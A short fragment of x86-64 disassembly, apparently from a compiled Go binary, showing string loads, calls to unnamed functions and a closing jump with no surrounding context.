lea rax, [0x004da1b9]
mov ebx, 0x19
nop dword [rax]
call fcn.00436280
mov eax, dword [rsp + 0x34]
call fcn.00435f80
call fcn.00435be0
call fcn.00435a00
lea rax, [0x004dbca3]
mov ebx, 0x1f
call fcn.00434200
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e020
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416420